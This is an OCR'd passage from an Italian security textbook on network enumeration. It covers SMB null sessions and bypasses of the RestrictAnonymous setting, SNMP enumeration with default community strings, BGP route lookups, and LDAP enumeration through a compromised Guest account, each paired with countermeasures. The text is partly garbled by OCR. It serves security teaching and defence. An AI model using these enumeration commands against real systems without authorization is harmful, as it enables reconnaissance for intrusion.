un hacker che stia raccogliendo dati su un sistema con piu schede di rete. getmac funziona
anche se RestrictAnonymous ¢ impostata a 1.

Winfo di ArneVidstrom (ntsecurity.nu) determina account utente, condivisioni e account
trust tra domini, server e workstation. E anche in grado di creare automaticamente una
sessione null, se si specifica 'opzione -n.

O Contromisure contro le sessioni null SMB

Le sessioni null richiedono laccesso alla porta TCP 139 e/o0 445 su Windows 2000 e
versioni successive, percio il modo piu prudente per bloccarle ¢ quello di filtrare tali
porte su tutti 1 dispositivi perimetrali di accesso alla rete. Si potrebbe anche disabilitare
del tutto 1 servizi SMB su singoli host NT rimuovendo I'associazione a WINS Client
(TCP/IP) dalla scheda di rete appropriata (tramite la finestra delle proprieta della con-
nessione di rete). In Windows 2000 e versioni successive, questo si ottiene rimuovendo
la condivisione di file e stampanti per reti Microsoft nell’elenco dei componenti associati
alla connessione di rete .

A partire da NT 4 Service Pack 3, Microsoft ha fornito uno strumento per prevenire
I'enumerazione di informazioni riservate tramite sessioni null senza dover eliminare I’as-
sociazione di SMB dalle schede di rete (anche se consigliamo comunque di farlo, a meno
che 1 servizi SMB non siano realmente necessari). Tale strumento si chiama Restrict-
Anonymous,dal nome della chiave del registro su cui agisce, e si utilizza nel modo seguente:
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1. Aprite regedt32 e navigate fino alla chiave HKLM\SYSTEM\CurrentControlSet\
Control\LSA.

2. Scegliete Modifica | Nuovo | Chiave e inserite i seguenti dati:

Nome: RestrictAnonymous
Tipo: REG_DWORD

Dati: 1 (o 2 su Windows 2000 e versioni successive)

3. Uscite dall’Editor del registro e riavviate il computer per applicare la modifica.

Su Windows 2000 e versioni successive, il rimedio si implementa in modo piu facile
grazie ai criteri di protezione. Lo snap-in Criter1 di protezione locale (negli Strumenti
di amministrazione) fornisce un’interfaccia grafica a molte oscure impostazioni del regi-
stro come RestrictAnonymous che sotto NT4devono essere configurate manualmente.
Inoltre, queste impostazioni possono essere applicate a livello di unita organizzativa, sito
o dominio, percio possono essere ereditate da tutti gli oggetti figli in Active Directory,
se applicate da un controller di dominio di Windows 2000 e versioni successive. Per fare
questo, ¢ necessario disporre dello snap-in Criteri di gruppo (cfr. il Capitolo 4).

E interessante notare che impostando RestrictAnonymous a 1 non si bloccano le con-
nessioni anonime, anche se si chiudono gran parte delle falle sfruttabili da sessioni null,
in primo luogo 'enumerazione di account utente e condivisioni.

ATTENZIONE

Alcuni strumenti e tecniche di enumerazione estraggono dati riservati da sistemi remoti
anche se RestrictAnonymous & impostata a 1, percio non fidatevi troppo di questa opzione.

Per bloccare del tutto I'accesso a informazioni CIFS/SMB su Windows 2000 e versioni
successive, impostate la chiave Additional Restrictions For Anonymous Connections (re-
strizioni aggiutive per connessioni anonime) al valore mostrato nella figura seguente: No
Access Without Explicit Anonymous Permissions (accesso proibito senza esplicito permesso).
Questo equivale a impostare RestrictAnonymous a 2 nel registro di Windows 2000 e
versioni successive.

Local Security Policy Setting

Additional restictions far anonymous cohhections

L&IL‘L_

Effective policy setting:

|N0 access without explicit anonymous permissions

Local policy zetting:

If domain-level policy settings are defined, they overide local policy seftings.

(] 4 | Cancel
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Impostando RestrictAnonymous a 2 si evita che il gruppo Everyone sia incluso nei token
di accesso anonimo, e quindi si blocca la creazione di sessioni null:

Jun

C:\>net use \\mgmgrand\ipc$ "" /u
System error 5 has occurred.
Access is denied.

Come superare RestrictAnonymous=1

Non ¢ il caso di avere troppa fiducia nell’opzione RestrictAnonymous. La comunita degli
hacker ha scoperto che con la chiamata API NetUserGetlnfo API al livello 3, Restrict-
Anonymous = 1 puo essere bypassata. Sia NBTEnum (citato in precedenza) sia UserInfo
(HammerofGod. com/download.aspx) enumerano informazioni degli utenti su una sessione null
anche se RestrictAnonymous ¢ impostata a 1 (naturalmente, se RestrictAnonymous ¢
impostata a 2 su un sistema Windows 2000 o versioni successive, non sara possibile rea-
lizzare sessioni null). Ecco un esempio in cui UserInfo enumera I'account Administrator
su un sistema remoto con RestrictAnonymous = 1:

C:\>userinfo \\victom.com Administrator
UserInfo vi.5 - thor@HammerofGod.com

Querying Controller \\mgmgrand

USER INFO

Username: Administrator

Full Name:

Comment : Built-in account for administering the computer/domain
User Comment:

User ID: 500

Primary Grp: 513

Privs: Admin Privs

OperatorPrivs: No explicit OP Privs

SYSTEM FLAGS (Flag dword is 66049)
User's pwd never expires.

MISC INFO

Password age:  Mon Apr 09 01:41:34 2008
LastLogon: Mon Apr 23 09:27:42 2008
LastLogoff: Thu Jan 01 00:00:00 1970

Acct Expires: Never
Max Storage: Unlimited
Workstations:
UnitsperlWeek: 168
Bad pw Count: 0

Num logons: 5
Country code: 0
Code page: 0
Profile:

ScriptPath:

Homedir drive:

Home Dir:
PasswordExp: 0
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Logon hours at controller, GMT:

Hours- 12345678901N12345678901M
Sunday 111111111111111111111111
Monday 111111111111111111111111
Tuesday 111111111111111111111111
Wednesday 111111111111111111111111
Thursday 111111111111111111111111
Friday 111111111111111111111111
Saturday 111111111111111111111111

Get hammered at HammerofGod.com!

Un altro strumento di HammerofGod.com ¢ UserDump, che enumera il SID del sistema
remoto e poi elabora 1 valori RID attesi per ottenere tutti 1 nomi di account utente.
Questo strumento prende il nome di un utente o gruppo noto ed esegue un numero di
iterazioni specificato dall’'utente sui RID da 1001 in poi. In effetti, prima ottiene il RID
500 (Administrator) e poi inizia dal RID 1001 piu il massimo numero di query specifi-
cato (impostando “MaxQueries” uguale a 0 o lasciandolo vuoto, si indica di enumerare
soltanto 1 SID 500 e 1001). Ecco un esempio:

C:\>userdump \\mgmgrand guest 10
UserDump v1.11 - thor@HammerofGod.com

Querying Controller \\mgmgrand

USER INFO

Username: Administrator

Full Name:

Comment: Built-in account for administering the computer/domain
User Comment:

User ID: 500

Primary Grp: 513

Privs: Admin Privs

OperatorPrivs: No explicit OP Privs

[snip]

LookupAccountSid failed: 1007 does not exist...
LookupAccountSid failed: 1008 does not exist...
LookupAccountSid failed: 1009 does not exist...

Get hammered at HammerofGod.com!

Un altro strumento, GetAcct (securityfriday.com/tools/GetAcct.html) di Urity of Security
Friday, utilizza la stessa tecnica. GetAcct ha un’interfaccia grafica e puo esportare i risultati
in un file di testo separato da virgole per una successiva analisi. Inoltre non richiede la
presenza di un account Administrator o Guest sul server bersaglio. Nella figura seguente
si vede GetAcct che ottiene informazioni sull’account utente da un sistema con Restrict-
Anonymous impostata a 1.



L'enumerazione 119 |

File “iew Help
Bemote Computer End of RBID Domal:
[MomGRAND [10s0 | Ger Accowne |ﬁé
|
Uszer |(Name Full name Comment Usr comment|Password|Priv [Prima:
Eo0l Guest Built-in ac Odays Oh Guest 5132
1000 TsInternetl TeInternetU This user a Odays Oh Guest &132
1001 IOSR_MGMGERA Internet GuBuilt-in ac Built-in ac Z8days 8]Guest 513
100z  IWAM MCGMGEA Launch ITS Built-in ac Built-in ac Z8days 8] Guest 5132
1006 sfuuser sfunser Tszer accomy lédays 1:User E£132
[l | »

Cambiamenti all'opzione RestrictAnonymous in Windows XP/Server 2003 e versioni successive

Come abbiamo notato in Windows 2000, impostando RestrictAnonymous a 2 si evita
che siano stabilite connessioni a sessione null sulla condivisione IPC$. Tuttavia, questa im-
postazione ha lo svantaggio di evitare I'accesso client e 'enumerazione di domini trusted.
Linterfaccia per controllare 'accesso anonimo ¢ stata riprogettata in Windows XP/Server
2003 e versioni successive, per suddividere in modo piu granulare le opzioni determinate
da RestrictAnonymous. La modifica che risalta subito osservando le opzioni di protezione
del criterio di protezione ¢ che 'opzione che impediva I'accesso senza permessi espliciti
di anonimato (equivalente a impostare RestrictAnonymous = 2 in Windows 2000) non
c’eé pit. In Windows XP/Server 2003 e versioni successive, tutte le opzioni di protezione
sono state suddivise in categorie, e quelle per impedire 'accesso anonimo rientrano nella
categoria “Accesso di rete:”. La Tabella 3.3 mostra le nuove opzioni per Windows XP/
Server 2003 e successive e le impostazioni consigliate da noi.

Tabella 3.3 Impostazioni di accesso anonimo su Windows 2000 e versioni successive.

Opzione di Windows XP/Server 2003 Impostazione consigliata

Accesso alla rete: consenti conversione Disattivata. Blocca user2sid e strumenti simili

anonima SID/nome

Accesso alla rete: non consentire Attivata. Blocca strumenti che bypassano

I'enumerazione anonima degli account SAM

Accesso alla rete: non consentire I’enumerazione
anonima di account e condivisioni SAM

Accesso alla rete: consenti che 1 permessi

di Everyone siano applicati anche

agli utenti anonimi

Accesso alla rete: named pipe a cui ¢ possibile
accedere in modo anonimo

Accesso alla rete: percorsi del Registro di
sistema ai quali ¢ possibile accedere
in modo remoto

Accesso alla rete: condivisioni alle quali
¢ possibile accedere in modo remoto

RestrictAnonymous = 1.

Attivata. Blocca strumenti che bypassano
RestrictAnonymous = 1.

Disattivata. Appare simile a RestrictAnonymous = 2,
ma le sessioni null sono ancora possibili.

Dipende dal ruolo del sistema. Si pud pensare
di rimuovere SQL\QUERY ed EPMAPPER

per bloccare I'enumerazione di SQL ¢ MSRPC,
rispettivamente.

Dipende dal ruolo del sistema. La massima sicurezza
si ottiene lasciando vuota questa opzione.

Dipende dal ruolo del sistema. La massima sicurezza
si ottiene lasciando vuota questa opzione. Il valore
di default ¢ COMCEFG, DES$.
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Osservando laTabella 3.3 appare chiaro che il principale vantaggio aggiuntivo di Windows
XP/Server 2003 e versioni successive ¢ dato da un controllo piu fine sulle risorse accessibili
mediante sessioni null. Avere a disposizione pit opzioni ¢ sempre meglio, ma ci piaceva
I'elegante semplicita di Windows 2000 con la sua opzione RestrictAnonymous = 2 che,
semplicemente, rendeva impossibile stabilire sessioni null. Naturalmente la compatibilita
ne ha sofferto, ma noi ci occupiamo di sicurezza. Microsoft doveva utilizzare le opzioni
piu severe per chi vuole il massimo controllo.

Noi non siamo stati in grado di penetrare nel sistema con le opzioni descritte nella Tabella
3.3, utilizzando gli attuali strumenti.

NOTA

Urity di SecurityFriday.com ha pubblicato nell'agosto 2004 un articolo in cui notava
che, anche sotto Windows XP SP2, la named pipe \pipe\browser rimaneva accessibile
via sessioni null, e quindi le interfacce lanmanserver e lanmanworkstation si poteva-
no enumerare tramite le chiamate MSRPC NetrSessionEnum e NetrWkstaUserEnum,
abilitando la visualizzazione in remoto di nomi utenti locali e remoti. Secondo quanto
indicato, questa falla & stata chiusa su Windows XP SP3, Windows Server 2003, Windows
7 e Windows Server 2008.

Assicurarsi che il registro di sistema sia bloccato

Le opzioni per 'accesso anonimo non si applicano all’accesso al registro di sistema (anche
se, come abbiamo visto, esiste un’opzione apposita nei criteri di protezione di Windows
XP/Server 2003). Assicuratevi che il vostro registro di sistema sia bloccato e non acces-
sibile da remoto, controllando la chiave HKLM\System\CurrentControlSet\Control\
SecurePipeServer\Winreg e le sue sottochiavi. Se questa chiave ¢ presente, accesso
remoto al registro di sistema ¢ possibile solo per gli amministratori. La chiave ¢ presente
per default sui prodotti Windows NT Server. La sottochiave opzionale AllowedPaths
definisce percorsi specifici del registro a cui ¢ possibile accedere indipendentemente dal
livello di sicurezza della chiave Winreg, e andrebbe anch’essa controllata. Per ulteriori
informazioni si consiglia di consultare la Microsoft Knowledge Base (articolo Q153183
presso support.microsoft.com/kb/153183). Inoltre, si consiglia di utilizzare ottimi strumenti
come DumpSec per attuare un controllo e assicurarsi che non vi siano falle nel sistema.

S

> Enumerazione di SNMP, UDP 161

Popolarita: 7
Semplicita: 9
Impatto: 3
Grado di rischio: 6

I protocollo SNMP (Simple Network Management Protocol), concepito come servizio di
gestione e monitoraggio della rete, ¢ progettato per fornire informazioni su dispositivi,
software e sistemi di rete, quindi ¢ spesso bersaglio di attacchi hacker, anche perché ¢
considerato poco protetto.

I dati in SNMP sono protetti da un semplice sistema di autenticazione mediante password,
ma sfortunatamente esistono diverse password di default ormai ben note. Per esempio,
la password pit comune per accedere a un agente SNMP in modalita di sola lettura (la
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cosiddetta stringa di comunita per la lettura) ¢ “public”. Gli hacker tentano sempre di indo-
vinare o utilizzare un’applicazione di ispezione dei pacchetti come Wireshark (discussa
piu avanti) per ottenere questa stringa, se identificano SNMP nelle scansioni di porte.
Cosa ancora peggiore, molti produttori hanno implementato estensioni proprietarie al set
di informazioni SNMP (denominate MIB, Management Information Bases), che possono
contenere dati specifici del produttore; per esempio, il MIB di Microsoft contiene i nomi
degli account utente Windows. Percio, anche se si ¢ imposto un forte limite all’accesso ad
altre porte enumerabili come la porta TCP 139 e/0 445, 1 sistemi N'T potrebbero comunque
lasciarsi scappare informazioni simili, se eseguono il servizio SNMP nella configurazione
di default (che utilizza “public” come stringa di comunita per la lettura). Percio, enumerare
utenti Windows via SNMP ¢ facile, utilizzando il browser SNMP snmputil del resource kit:

C:\>snmputil walk 192.168.202.33 public .1.3.6.1.4.1.77.1.2.25
Variable =.iso.org.dod.internet.private.enterprises.lanmanager.
lanmgr-2.server.svUserTable.svUserEntry.

svUserName.5. 71.117.101.115.116

Value = OCTET STRING - Guest

Variable =.iso.org.dod.internet.private.enterprises.lanmanager.
lanmgr-2.server. svUserTable.svUserEntry.

svUserName.13. 65.100.109.105.110.105.115.116.114.97.116.111.114
Value = OCTET STRING - Administrator

End of MIB subtree.

Lultima variabile del precedente comando snmputil, “.1.3.6.1.4.1.77.1.2.25”, ¢ 'OID
(Object 1Dentifier) che indica uno specifico ramo del MIB di Microsoft. Quest’ultimo ¢
un namespace gerarchico, percio percorrendo I'albero verso l'alto (ovvero, utilizzando
un numero meno specifico come .1.3.6.1.4.1.77) si ottengono molte pit informazioni.
Ricordare tutti questi numeri ¢ difficile, percid un intruso utilizzera la stringa di testo
equivalente. Nella tabella che segue sono elencati alcuni segmenti del MIB che riportano
informazioni interessanti:

MIB SNMP (da aggiungere in coda a .iso.org.dod. Informazioni enumerate
internet.private .enterprises.lanmanager.lanmgr2)
server.svSvcTable.svSvcEntry.svSveName Servizi in esecuzione
server.svShareTable.svShareEntry.svShareName Nomi di condivisioni
server.svShareTable.svShareEntry.svSharePath Percorsi di condivisioni
server.svShareTable.svShareEntry.svShareComment Commenti su condivisioni
server.svUserTable.svUserEntry.svUserName Nomi utente
.domain.domPrimaryDomain Nome dominio

Si puo anche utilizzare lo strumento UNIX/Linux snmpget presente nella suite net-snmp
(net-snmp.sourceforge.net/) per interrogare SNMP, come nel seguente esempio:

[root] # snmpget -c public -v 2c 192.168.1.60 system.sysName.O

system.sysName.0 = wave

Benché snmpget sia utile, ¢ molto piu semplice catturare il contenuto dell’'intero MIB
utilizzando snmpwalk, come mostrato qui:
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[root]# snmpwalk -c public -v 2c 192.168.1.60

system.sysDescr.0 = Linux wave 2.6.10 mdk #1 Sun Apr 15 2008 1686
system.sysObjectID.0 = OID: enterprises.ucdavis.ucdSnmpAgent.linux
system.sysUpTime.0 = Timeticks: (25701) 0:04:17.01
system.sysContact.0 = Root <root@localhost> (configure /etc/snmp/snmp.
conf)system.sysName.0 = wave

system.sysLocation.0 = Unknown (confi gure /etc/snmp/snmp.conf)system.
sysORLastChange.0 = Timeticks: (0)

[output truncated for brevity]

Potete vedere che la nostra query SNMP ha fornito molte informazioni sul sistema
bersaglio, tra cui le seguenti:

Variante UNIX: Linux

Versione kernel Linux: ~ 2.6.10

Distribuzione: Mandrake (“mdk” dopo il numero del kernel nell’esempio)
Architettura: Intel 686

Un hacker potrebbe utilizzare tutte queste informazioni per cercare di compromettere
il sistema. Nel caso ancora peggiore in cui fosse abilitato il nome di comunita di default
per la scrittura (per esempio “private”), 'hacker sarebbe anche in grado di modificare
alcuni dei parametri elencati, nell’intento di portare un attacco DoS o di compromettere
la sicurezza del sistema.

Uno strumento particolarmente utile per abusare dei nomi di comunita di default per la
scrittura SNMP ¢ copy-router-config.pl di muts. I dispositivi di rete Cisco consentono
di copiare la loro configurazione su un server TFTP a chiunque conosca la stringa di
comunita per la scrittura. Ottenuto I’accesso alla configurazione del dispositivo Cisco, un
hacker potrebbe decodificare la password (se ¢ memorizzata nel vecchio formato Cisco
Type 7) o lanciare un attacco di forza bruta per ottenerla (se ¢ memorizzata utilizzando
il piu recente e robusto formato Type 5).

Naturalmente, per evitare di dover digitare tutti 1 comandi e 1 parametri, si puo prelevare
Peccellente browser grafico SNMP denominato IP Network Browser da solarwinds.net e
vedere tutte queste informazioni visualizzate a colori. La Figura 3.9 mostra 'IP Network
Browser mentre esamina una rete alla ricerca di sistemi che supportino SNMP.

Scanner SNMP

Interrogare SNMP ¢ un’attivita semplice e leggera che si presta benissimo a operazioni
di scansione automatizzata. Uno strumento Windows utile a questo scopo ¢ SNScan di
Foundstone (mcafee.com/us/downloads/free-toos/snscan.aspx). SNScan chiede di specificare
una stringa di comunita e un intervallo per la scansione; opzionalmente si puo anche
specificare un file contenente un elenco di stringhe di comunita SNMP da verificare
con ciascun host (Figura 3.10). Lo strumento ha due caratteristiche particolarmente utili:
visualizza il nome di host e il sistema operativo (secondo la definizione di SNMP) per
clascun host interrogato con successo, e consente di esportare tutti 1 risultati in un file CSV.
Nel mondo Linux, onesixtyone (portcullis-security.com/16.php) € uno strumento scritto
in origine da solareclipse@phreedom.org e poi rinnovato dal team per la sicurezza di
portcullis-security.com. onesixtyone ha tutte le funzionalita di SNScan, ma si utilizza
dalla riga di comando:
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IP Browszer 192.168.202. 042552552550

Fil= Modes Subrnet Optionz  Miew Help

ala| o|laalal oAl &8 @]

13z.168.202.1:
192.168.202.30: SM MGR
192.168.202.32: SM MGR

- 5 192.169.202.33: DELLPII
5 vindows NT

+ System MIE
+ Interfaces

= Account s
ﬁ Administrator
ﬁ barzini
godfather

&
ﬁ Guest
&

- Binaries

Shared Printers
Hub ports
TCP/IP Metworks
IPH Network
Routes

ARP Tabkle

TDP Services

F [ [ [ [ [ [

+ TCF Comnections
‘@ 15Z._1e8.Z0E.37: MICHAEL

Subnet Scan Completed

% Conmunity String: public

Path: C:\Einaries
i Comment: Free goodies!

© SHMP

Figura 3.9 IP Browser di SolarWinds amplia le informazioni disponibili sui sistemi
eseguendo agenti SNMP quando si fornisce la stringa di comunita corretta.

Il sistema mostrato qui utilizza la stringa di default “public”

onesixtyone-0.6 # ./onesixtyone

onesixtyone v0.6 ( http://www.portcullis-security.com )
Based on original onesixtyone by solareclipse@phreedom.org

Usage: onesixtyone [options] <host> <community>
-c <communityfile> file with community names to try
-1 <inputfile> file with target hosts

-0 <outputfile> output log

-d debug mode, use twice for more information
-Wn wait n milliseconds (1/1000 of a second) between sending packets

(default 10)

-q quiet mode, do not print log to stdout, use with -1

examples: ./onesixtyone -c dict.txt 192.168.4.1 public
./onesixtyone -c dict.txt -i hosts -o my.log -w 100
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S 'SNScan 1.05 — Copyright @Foundstone Inc. — hittp:/fwww.foundstone. com

IP addresses to scan

Hostnamne/|P |1?2.23.2U.31 > Start [P EndIP Clear Selected
172.23.201 172.23.20.254
Start [P E 172 .23 .20 .1 Clear &1l
=
EndIP E 172 .23 .20 . 254

Read IP's from file Browse...

SNMF ports to gcan SNMF community string Scan control

v 161 [~ 193 [+ Just try thiz one name | public I Randamize scan arder Izl
[ 182 [~ 391 .
193 [~ 1933 " Multiple names from list 1] Timeout [ms] | 2000 Z‘

IP | Part | Name | Description |
1722320214 181 public Drell Lazer Printer 1710n version BR.Q.PO25 kemel 2.4.0-tests All-N-1

1722320215 161 public HF ETHERMET MULTI-ENVIRONMENT.ROM G.08.08 JETDIRECT JD3I3EEFROM G.02.04
1722320216 161 public HF ETHERNET MULTI-ENYIRONMENT. ROM L.21.21 JETDIRECT JD 84 EEPROM L.21.22....
1722320252 161 public Linux 2.4.21-20cpsmp #1 SMP Thu bay 5153:21:27 |DT 2005 656

Scanned:  254/254 Save...

Figura 3.10 SNScan esegue la scansione di un intervallo di host
per verificare le stringhe di comunita SNMP.

c Contromisure contro I'enumerazione di SNMP

Il modo piu semplice per prevenire I'enumerazione di SNMP ¢ quello di rimuovere o
disabilitare gli agenti SNMP sulle singole macchine. Se non ¢ possibile disabilitare del
tutto SNMP, occorre almeno assicurarsi che sia configurato con nomi di comunita scelti in
modo che risultino difficili da indovinare (e non siano, quindi, i nomi di default “public”
o “private”). Naturalmente, se si utilizza SNMP per gestire la propria rete, occorre bloccare
l'accesso alle porte TCP e UDP 161 (SNMP GET/SET) in tutti i dispositivi di accesso posti
sul perimetro della rete. Infine, occorre limitare 'accesso agli a genti SNMP concedendolo
soltanto all'indirizzo IP della console di gestione appropriata. Per esempio, 'agente SNMP
di Microsoft puo essere configurato in modo da rispondere soltanto a richieste SNMP pro-
venienti da un insieme di indirizzi IP definito dall’amministratore. Considerate anche I'u-
tilizzo di SNMPV3, descritto negli RFC 2571-2575. SNMPV3 ¢ molto piu sicuro diV1/
V2 e fornisce meccanismi migliori per la cifratura e 'autenticazione; sfortunatamente,V1/
V2 ¢ piu diffuso e molte organizzazioni sono riluttanti a passare a una versione piu sicura.
Su sistemi della famiglia Windows NT ¢ possibile modificare il registro in modo da
permettere I'accesso al nome di comunita SNMP soltanto a identificativi approvati e per
evitare che siano inviate informazioni del MIB Microsoft. Aprite regedt32 e posizionatevi
su HKLM\System\CurrentControlSet\Services\SNMP\Parameters\ ValidCommunities.
Scegliete Security | Permissions e pol impostate 1 permessi in modo da permettere soltanto
l'accesso di utenti approvati. Poi, navigate fino a HKLM\System\CurrentControlSet\
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Services\SNMP\Parameters\ExtensionAgents, eliminate il valore che contiene la stringa
“LANManagerMIB2Agent” e quindi rinominate le altre voci per aggiornare la sequenza;
per esempio, se avete eliminato il valore numero 1, rinominate 2, 3 e cosi via, in modo
che la sequenza inizi con 1 e termini con il numero totale di valori dell’elenco.

Dopo aver letto questo paragrafo dovreste aver compreso almeno a livello generale il
motivo per cui non si deve assolutamente permettere che le informazioni SNMP interne
siano rivelate al pubblico. Per ulteriori informazioni su SNMP in generale, cercate gli
ultimi documenti RFC su SNMP presso rfc-editor.org.

c/' " Enumerazione di BGP, TCP 179

Popolarita: 2
Semplicita: 6
Impatto: 2
Grado di rischio: 3

BGP (Border Gateway Protocol) ¢ il protocollo di routing impostosi come standard di fatto
su Internet; ¢ utilizzato dai router per propagare informazioni necessarie per instradare 1
pacchetti IP fino a destinazione. Osservando le tabelle di routing di BGP ¢ possibile de-
terminare le reti associate a una particolare azienda, da aggiungere alla matrice degli host
bersaglio. Non tutte le reti connesse a Internet supportano BGP, e questo metodo potrebbe
non funzionare con la vostra rete aziendale; soltanto le reti che hanno piu di un uplink
utilizzano BGP, e queste reti sono generalmente usate da organizzazioni medio-grandi.

La procedura ¢ semplice. Ecco 1 passaggi da svolgere per eseguire 'enumerazione di BGP:

1. Determinare ’ASN (Autonomous System Number) dell’organizzazione bersaglio.

2. Eseguire una query sui router per individuare tutte le reti in cui ’AS Path termina
con I’ASN dell’organizzazione.

Enumerazione di BGP da Internet

11 protocollo BGP utilizza esclusivamente indirizzi di rete IP e ASN. Quest’ultimo ¢ un
intero a 16 bit che un’organizzazione acquista dall’ ARIN per identificarsi in rete. Lo si
puo considerare come una sorta di indirizzo IP dell’organizzazione. Poiché non si posso-
no eseguire comandi su un router utilizzando il nome di un’azienda, il primo passo per
procedere all’enumerazione consiste nel determinare I’ASN dell’organizzazione. A questo
scopo si possono utilizzare due tecniche, in base alle informazioni di cui si € in possesso.
Se si conosce 1l nome dell’azienda, si pud eseguire una ricerca WHOIS sul’ ARIN spe-
cificando di cercare ’ASN (Figura 3.11).

In alternativa, se si conosce un indirizzo IP dell’organizzazione, si pud interrogare un
router e utilizzare 'ultimo elemento dell’AS Path come ASN. Per esempio, ¢ possibile
collegarsi con telnet a un router pubblico ed eseguire 1 seguenti comandi:

C:>telnet route-views.oregon-ix.net
User Access Verification
Username: rviews
route-views.oregon-ix.net>show ip bgp 63.79.158.1
BGP routing table entry for 63.79.158.0/24, version 7215687
Paths: (29 available, best #14)
Not advertised to any peer
8918 701 16394 16394
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3} Output from ARIN WHOIS - Microsoft Internet Explorer =18l ]
J Fil= Edit View Favorites Tools Help ﬁ
| Bk - = - D | Qsearch GaFavontss CHnisory | By S = - [H
| agdress |@ b e, arin. et jcgibingwhais P queryinpUt=BSN-KPENY-A5 | @eo |JLinks =
=
Output from ARIN WHOIS

Thtip /Ao arin netwhois

Search for I Subirnit Query |

kpe ([ALSN-EPENY-13)
§60 Broadway, 6th Floor
New York, NY 10003
us

Autonomous System Nemme: EKPENT-L3
Autonomous System Number: 16394

Coordinator:
Wong, Dawvid (DWESE-ARIN) dwzZS0Rhotmail.com
(917) S64-9202

Record last updated on Z5-Apr-z000.
Database last updated on 23-May-2001 2Z2:44:44 EDT.

N

@] Done ’_’_|° Internet

Figura 3.11 Output di una ricerca per 'ASN KPE.
L'ASN e identificato come 16394 per I'AS Name KPENY-AS.

212.4.193.253 from 212.4.193.253 (212.4.193.253)
Origin IGP, localpref 100, valid, external

Lelenco di numeri che segue il messaggio “Not advertised to any peer” ¢ I’AS Path. Se-
lezionate I'ultimo ASN del percorso, 16394. Poi, per interrogare il router usando ’ASN
per determinare gli indirizzi di rete associati, digitate:

route-views.oregon-ix.net>show ip bgp regexp _16394%
BGP table version is 8281239, local router ID is 198.32.162.100
Status codes: s suppressed, d damped, h history, * valid, > best, i - internal
Origin codes: i - IGP, e - EGP, ? - incomplete
Network Next Hop Metric LocPrf Weight Path
* 63.79.158.0/24 212.4.193.253 0 8918 701 16394 16394

II trattino underscore (_) ¢ utilizzato per indicare uno spazio, e il segno di dollaro (§) ¢
utilizzato per indicare il termine dell’AS Path. Questi caratteri sono necessari per esclu-
dere gli elementi in cui ’AS ¢ una rete di transito. Abbiamo rimosso 1 percorsi duplicati
nell’output perché non sono necessari per la nostra discussione. Comunque la query ha
identificato una rete, 63.79.158.0/24, come appartenente a KPE.

Eseguire questi passaggi ed esaminare 'output ¢ un compito piuttosto noioso e adatto a
essere automatizzato. Fate fare il lavoro al codice!
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Concludiamo con alcune avvertenze: molte organizzazioni non utilizzano BGP, percio
questa tecnica potrebbe non funzionare. In questi casi, se si effettua una ricerca nel da-
tabase ARIN, non si trovera un ASN. Se si utilizza il secondo metodo descritto, ’ASN
restituito potrebbe essere quello del provider che annuncia 1 messaggi BGP per conto del
suo cliente. Utilizzate il servizio whois dell’ ARIN presso arin.net/whois per determinare
se siete in possesso dell’ ASN corretto. La tecnica illustrata in precedenza ¢ piuttosto lenta,
a causa del numero di elementi del routing che occorre cercare.

Enumerazione del protocollo di routing interno

I protocolli di routing interni (RIP,IGRP e EIGRP) possono fornire molte informazioni
sulla rete locale e spesso rispondono alle richieste effettuate da chiunque.

Lo strumento ASS (Autonomous System Scanner), non supporta BGP, ma fa parte del'IR PAS
(Internetwork Routing Protocol Attack Suite) sviluppato da Phenoelit (phenoelit.org/irpas/
docu.html).ASS ¢ un potente strumento di enumerazione che funziona attuando lo sniffing
del traffico di rete locale ed effettuando anche attivita di scansione diretta.

O Contromisure contro I'enumerazione di BGP

Sfortunatamente non esistono contromisure efficaci contro I’enumerazione di BGP. Per
poter eseguire il routing dei pacchetti in rete, ¢ necessario utilizzare BGP. Una possibi-
lita ¢ quella di utilizzare informazioni non identificabili nel’ ARIN, ma con ¢io non si
contrasta la seconda tecnica descritta per identificare ’ASN. Le organizzazioni che non
utilizzano BGP non hanno nulla di cui preoccuparsi, le altre possono trarre conforto dal
basso grado di rischio e dal fatto che esistono comunque tante tecniche utilizzabili per
I'enumerazione di una rete.

c/' * Enumerazione di LDAP di Windows Active Directory, TCP/UDP 389 e 3268

Popolarita: 2
Semplicita: 2
Impatto: 5
Grado di rischio: 3

La piu importante novita introdotta nella famiglia NT da Windows 2000 ¢ I'aggiunta di
un servizio di directory basato sul protocollo LDAP (Lightweight Directory Access Protocol)
denominato Active Directory (AD).AD ¢ progettato per contenere una rappresentazione
logica unificata di tutti gli oggetti relativi all'infrastruttura tecnologica aziendale; percio,
dal punto di vista dell’enumerazione, ¢ potenzialmente una primaria fonte di informa-
zioni. Tra gli strumenti di supporto di Windows XP (microsoft.com/downloads/details.
aspx?FamilyID=49ae8576-9bb9-4126-9761-ba8011fabf388displaylang=en) ¢ incluso un semplice
client LDAP denominato Strumento di amministrazione di Active Directory (1dp.exe)
che si connette a un server AD e naviga nel contenuto della directory.

Un hacker potrebbe utilizzare 1dp.exe su un host con Windows 2000 o versione suc-
cessiva ed enumerare tutti 1 gruppi e gli utenti esistenti con una semplice query LDAP.
LPunico requisito per poter eseguire questa enumerazione ¢ quello di creare una sessione
autenticata via LDAP. Se ’hacker ha gia compromesso un account esistente sul bersaglio,
con altri mezzi, LDAP puo fornire un meccanismo alternativo per enumerare gli utenti,
qualora le porte NetBIOS siano bloccate o comunque non disponibili.
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[lustriamo 'enumerazione di utenti e gruppi con ldp.exe nell’esempio seguente, in cui
il bersaglio ¢ il controller di dominio Windows 2000 bigdc.labfarce2.org, in cui il con-
testo di root Active Directory ¢ DC=labfarce2, DC=org. Supponiamo che I'account Guest
su BIGDC sia gia stato compromesso — ha la password “guest”.

Di seguito sono riportati 1 passaggi necessari:

1.

Connettersi al bersaglio utilizzando 1dp. Selezionate Connections | Connect e inserite
I'indirizzo IP o il nome DNS del server desiderato. Potete connettervi alla porta
LDAP di default, 389, o utilizzare la porta del catalogo globale AD, 3268. Nella figura
seguente ¢ mostrato come connettersi alla porta 389:

Connect

Server. |bigdc.|abfarce.org

Eart: 383 [T Connectionles:

. Una volta stabilita la connessione, autenticatevi come Guest (I'account compromesso).

Selezionate Connections | Bind, assicuratevi che la casella di controllo Domain sia
selezionata e che sia indicato il nome di dominio corretto, e inserite le credenziali
di Guest, come mostrato di seguito:

Bind

Uszer |'3L'IESt

Pazzwaord: |

¥ Domain: ’W
[MTLM K erberos) LCanecel

Advanced

. Ora che ¢ stata stabilita una sessione LDAP autenticata, potete enumerare utenti e

gruppi. Selezionate View | Tiee e inserite il contesto di root nella finestra di dialogo,
per esempio dc=labfarce2,dc=org come nella figura seguente:

Tree Yiew

